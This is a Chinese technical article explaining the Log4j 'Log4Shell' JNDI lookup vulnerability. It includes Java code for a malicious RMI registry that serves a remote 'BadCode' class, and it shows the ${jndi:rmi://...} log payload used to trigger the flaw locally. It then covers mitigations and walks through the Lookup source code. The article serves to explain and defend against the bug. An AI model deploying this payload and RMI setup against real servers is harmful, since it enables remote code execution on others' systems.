编写RMI服务并启动 。
public class StartRMIserver {public static void main(String[] args) throws Exception {//服务端口1099Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("BadCode","BadCode","http://127.0.0.1:80/");ReferenceWrapper wrapper = new ReferenceWrapper(reference);registry.bind("bad",wrapper);System.out.println("RegistryServer is running");} }
打印如下日志复现Bug 。
public class BugShow {private static final Logger LOGGER = LogManager.getLogger();public static void main(String[] args) {//改动一些系统默认配置,让系统可以被攻击System.setProperty("java.rmi.server.useCodebaseonly","false");System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");//打印攻击日志LOGGER.info("start attack:{}","${jndi:rmi://127.0.0.1:1099/bad}");} }
如果一切顺利,你会发现服务器中生成了一个名为badcode.txt的文件,里面存储着指定目录下的所有文件目录 。
文章插图
修复方案所幸,各大安全团队迅速给出了如下解决方案(本质都一样),似乎是不使用LookUp就解决了 。(终极方案是将log4j-core升级为2.16.0)
- 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
- 在类路径下增加log4j2.component.properties配置文件并增加配置项log4j2.formatMsgNoLookups=true
- 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
LookUps 机制LookUps提供了一种在任意位置向 Log4j 配置添加值的方法 。它们是实现 StrLookup 接口的特殊类型的插件,Log4j 提供了Date Lookup、Java LookUp、Jndi LookUp(罪魁祸首)等实现 。
如下展示了Date LookUp和Java lookUp的使用 。
public class App {private static final Logger LOGGER = LogManager.getLogger();public static void main(String[] args) throws Exception {LOGGER.info("java.os:{}","${java:os}");LOGGER.info("date:{}","${date:yyyy-MM-dd HH:mm:ss}");} }
文章插图
Java LookupJavaLookup 使用以 java: 为前缀的的预格式化字符串检索 Java 环境信息 。
描述
version
获取Java版本,比如Java version 1.8.0_312
runtime
获取Java运行时版本,比如OpenJDK Runtime Environment (build 1.8.0_312-b07) from Azul Systems,Inc.
vm
获取虚拟机信息,比如OpenJDK 64-Bit Server VM (build 25.312-b07,mixed mode)
os
获取系统信息,比如mac OS X 11.3.1 unknown,architecture: aarch64-64
locale
获取编码信息,比如default locale: zh_CN,platform encoding: UTF-8
hw
获取硬件信息,比如processors: 8,architecture: aarch64-64
Jndi Lookup这也是此次漏洞的罪魁祸首!JndiLookup 允许通过 JNDI 检索变量 。
默认情况下,键将以 java:comp/env/ 为前缀,但是如果键包含":"则不会添加前缀 。
默认情况下,JDNI Lookup 仅支持 java、ldap 和 ldaps 协议或不支持协议,可以通过在
log4j2.allowedJndiProtocols 属性上指定它们来支持其他协议 。
当使用 LDAP 时,出于安全原因,不支持实现 Referenceable 接口的 Java 类,默认情况下仅支持 Java 的基础类型以及 log4j2.allowedLdapClasses属性指定的任何类 。
使用 LDAP 时,仅支持对本地主机名或 IP 地址的引用以及 log4j2.allowedLdapHosts 属性中列出的任何主机或 IP 地址 。
Java LookUp源码通过 LookUp 机制,Log4j框架解析了${}中的内容,跟踪源码可以发现如下调用链,并且可以发现日志中${}内容的替换是在
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format中完成的 。
文章插图
观察源码不难发现我们感兴趣的东西——noLookups和对${的查找 。
if (config != null && !noLookups) {for (int i = offset; i < workingBuilder.length() - 1; i++) {if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {// 获取原始的日志final String value = https://www.isolves.com/it/aq/fwq/2021-12-31/workingBuilder.substring(offset,workingBuilder.length());workingBuilder.setLength(offset);workingBuilder.append(config.getStrSubstitutor().replace(event,value));}} }
推荐阅读
- 复制粘贴,Excel中最复杂的功能之一,看完你会觉得以前都白学了
- 13个WPS表格小技巧,简单又实用,Excel用户看了都眼红
- 穿衣搭配|看一个女人是不是真的“贵气”,关键在这4点,并不是有钱就行
- 一文读懂Access数据库,从此不用Access数据库
- Python4要来了?快来看看Python之父怎么说
- 从啃PS到啃C4D,我的动态设计之路
- 国企岗位推荐,程序员求职速来看
- 如何从 Kafka 看 时间轮 算法设计
- 小白如何看出计算机操作系统是否开启勒索病毒危险端口
- 大学|高考生看过来!被名字耽误的好大学:仅过一本线也有机会